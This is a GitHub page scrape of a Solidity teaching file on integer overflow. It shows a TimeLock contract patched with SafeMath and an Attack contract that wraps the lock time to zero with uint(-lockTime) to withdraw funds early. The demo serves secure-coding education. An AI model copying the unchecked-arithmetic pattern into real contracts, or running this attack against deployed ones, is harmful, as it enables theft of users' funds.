-
Notifications
You must be signed in to change notification settings - Fork 0
/
Overflow.sol
61 lines (48 loc) · 1.57 KB
/
Overflow.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
/*
Overflow / Underflow
Code & Demo
Preventative techniques
*/
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";
contract TimeLock {
using SafeMath for uint;
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
// lockTime[msg.sender] += _secondsToIncrease;
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(now > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) public {
timeLock = TimeLock(_timeLock);
}
fallback() external payable { }
function attack() public payable {
timeLock.deposit{value: msg.value}();
// t == current lock time
// find x such that
// x + t = 2**256 = 0
// x = -t
timeLock.increaseLockTime(
// 2**256 - t
uint(-timeLock.lockTime(address(this)))
);
timeLock.withdraw();
}
}